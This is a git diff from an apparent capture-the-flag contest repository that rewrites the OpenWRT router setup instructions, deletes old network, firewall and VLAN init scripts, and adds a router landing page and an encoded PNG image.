interface. The OpenWRT setup is +intended for smaller contests, wired or non-wired, in which +participants can be counted on not to launch link level attacks (ARP +or NDP). Bear in mind that the cheap consumer routers have relatively +slow CPUs and won't stand up to high volume. -Bear in mind that the cheap consumer routers have relatively slow CPUs -and won't stand up to high volume. This same configuration applies to -OpenWRT running on an x86 PC, or any other target of OpenWRT. For -larger contests, it would be a good idea to use a faster machine for the -router. I don't have any specific recommendations at this time (Oct -2010). +The CTF repository includes a "router" package, which will boot a DBTL +device as a IPv6 router complete with multicast forwarding and up to +24 tagged VLANs (by using a managed switch). This is a better option +for larger contests, and can better handle high-speed (Gigabit) +traffic. -The router comes up as 10.0.0.1/16 on eth0. +Instructions for setting up OpenWRT +----------------------------------- -If the router has a built-in switch, it is brought up without VLAN -support, since these switches typically only support 16 VLANs, and do -not support QinQ (double VLAN tags). All 5 ports work like an unmanaged -switch, which ends up being handy for the contest table. +After installing OpenWRT: -Plugging a managed switch into the router enables access to 48 VLANs, -each configured to a /16 network. The router on VLAN number v comes up -as 10.v.0.1/16. +* Change the root password +* Install the kmod-ipv6, radvd, and luci-app-radvd packages +* Configure the LAN interface as 10.0.0.1/16 and + fd84:b410:3441::1/64 +* Tell DHCP to begin at 257 after the base IP: this will assure + all DHCP addresses are after 10.0.1.0 +* Disable router solicitations on LAN +* Enable WPA2, with the password "correct horse battery staple" +* Turn on router advertisements (under radvd) on LAN +* Enable prefix fd84:b410:3441::1/54 under radvd -If the router has the ability to come up as a wireless access point, it -will do so with SSID "CTF" and IP 10.254.0.1/16. - -All subnets can route to all other subnets, through the router. -10.0.0.1/16 and 10.254.0.1/16 may have a higher TTL when routed to a -VLAN (I haven't checked). Keep in mind that anything connected directly -to the router (ie. not through the managed switch) can do its own VLAN -tagging. This would be the way to hop on another team's subnet to do -something like check service availability in such a way as to prevent -teams from firewalling each other out. - - - SSID "CTF" - 10.254.0.1/16 - ((Y)) - | - ------------- - | OpenWRT | - -0-1-2-3-4--- - /| | | | | - / | | | | | - / | | | | | - / 10.0.0.1/16 - / - -------------------t--- - | Managed Switch | - -1-2-3-4-5-...-47-48--- - / | | \ - / | | \ - / | | \ - / | | \ - 10.1.0.1/16 | | 10.48.0.1/16 - | | - 10.3.0.1/16 | - | - 10.47.0.1/16 +This should be sufficient to bring up the router for running the +contest. If you want to get fancy, you can scp the files in +www in this directory, into /www on the router. This will give +users some guidance if they accidentally browse to the router IP, +and also disables the default redirection to luci. diff --git a/doc/openwrt/etc/config/dhcp b/doc/openwrt/etc/config/dhcp deleted file mode 100644 index 91a9742..0000000 --- a/doc/openwrt/etc/config/dhcp +++ /dev/null @@ -1,2 +0,0 @@ -config dnsmasq - option leasefile '/tmp/dhcp.leases' diff --git a/doc/openwrt/etc/config/network b/doc/openwrt/etc/config/network deleted file mode 100644 index d2b22cb..0000000 --- a/doc/openwrt/etc/config/network +++ /dev/null @@ -1,27 +0,0 @@ -#### Switch configuration -config switch eth0 - option enable 1 - option enable_vlan 0 - -#### Loopback configuration -config interface loopback - option ifname "lo" - option proto static - option ipaddr 127.0.0.1 - option netmask 255.0.0.0 - -#### Administrative network -config interface admin - option ifname "eth0" - option proto static - option ipaddr 10.0.0.1 - option netmask 255.255.0.0 - -#### Wireless -config interface wifi - option proto static - option ipaddr 10.254.0.1 - option netmask 255.255.0.0 - -# OpenWRT's "ifup/ifdown" are horribly slow, so the 48 -# vlans are set up in an init script :) diff --git a/doc/openwrt/etc/config/wifi b/doc/openwrt/etc/config/wifi deleted file mode 100644 index eefe021..0000000 --- a/doc/openwrt/etc/config/wifi +++ /dev/null @@ -1,9 +0,0 @@ -config wifi-device wl0 - option type broadcom - option channel 1 - -config wifi-iface - option device wl0 - option network wifi - option mode ap - option ssid CTF diff --git a/doc/openwrt/etc/init.d/iptables b/doc/openwrt/etc/init.d/iptables deleted file mode 100755 index f608ac6..0000000 --- a/doc/openwrt/etc/init.d/iptables +++ /dev/null @@ -1,26 +0,0 @@ -#! /bin/sh /etc/rc.common - -START=45 -STOP=89 - -start () { - stop - - iptables -P INPUT ACCEPT - iptables -P OUTPUT ACCEPT - iptables -P FORWARD ACCEPT - - iptables -A INPUT -p udp --dport 53 -j ACCEPT - iptables -A INPUT -p udp --dport 67 -j ACCEPT - iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT - iptables -A INPUT -s 10.0.0.0/16 -j ACCEPT - iptables -A INPUT -j REJECT -} - -stop () { - iptables -F INPUT - iptables -F OUTPUT - iptables -F FORWARD -} - - diff --git a/doc/openwrt/etc/init.d/vlan b/doc/openwrt/etc/init.d/vlan deleted file mode 100755 index 49bbdbd..0000000 --- a/doc/openwrt/etc/init.d/vlan +++ /dev/null @@ -1,20 +0,0 @@ -#! /bin/sh /etc/rc.common - -START=41 -STOP=89 - -VLANS=48 - -start () { - for i in $(seq 1 $VLANS); do - vconfig add eth0 $i - ifconfig eth0.$i 10.$i.0.1 netmask 255.255.0.0 - done -} - -stop () { - for i in $(seq 1 $VLANS); do - vconfig rem eth0.$i - done -} - diff --git a/doc/openwrt/etc/rc.d/K89iptables b/doc/openwrt/etc/rc.d/K89iptables deleted file mode 120000 index 17013f0..0000000 --- a/doc/openwrt/etc/rc.d/K89iptables +++ /dev/null @@ -1 +0,0 @@ -../init.d/iptables \ No newline at end of file diff --git a/doc/openwrt/etc/rc.d/K89vlan b/doc/openwrt/etc/rc.d/K89vlan deleted file mode 120000 index 444d959..0000000 --- a/doc/openwrt/etc/rc.d/K89vlan +++ /dev/null @@ -1 +0,0 @@ -../init.d/vlan \ No newline at end of file diff --git a/doc/openwrt/etc/rc.d/S41vlan b/doc/openwrt/etc/rc.d/S41vlan deleted file mode 120000 index 444d959..0000000 --- a/doc/openwrt/etc/rc.d/S41vlan +++ /dev/null @@ -1 +0,0 @@ -../init.d/vlan \ No newline at end of file diff --git a/doc/openwrt/etc/rc.d/S45iptables b/doc/openwrt/etc/rc.d/S45iptables deleted file mode 120000 index 17013f0..0000000 --- a/doc/openwrt/etc/rc.d/S45iptables +++ /dev/null @@ -1 +0,0 @@ -../init.d/iptables \ No newline at end of file diff --git a/doc/openwrt/www/index.html b/doc/openwrt/www/index.html new file mode 100644 index 0000000..814d688 --- /dev/null +++ b/doc/openwrt/www/index.html @@ -0,0 +1,18 @@ + + + + Router + + +

    + You're in the wrong place. This is the router. +

    +
      +
    • + CTF Server: + IPv6, IPv4 +
    • +
    • WPA2 password
    • +

      + + diff --git a/doc/openwrt/www/password_strength.png b/doc/openwrt/www/password_strength.png new file mode 100644 index 0000000000000000000000000000000000000000..e0439fa426f79e089e4489bee12faa8eab5e2097 GIT binary patch literal 93029 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 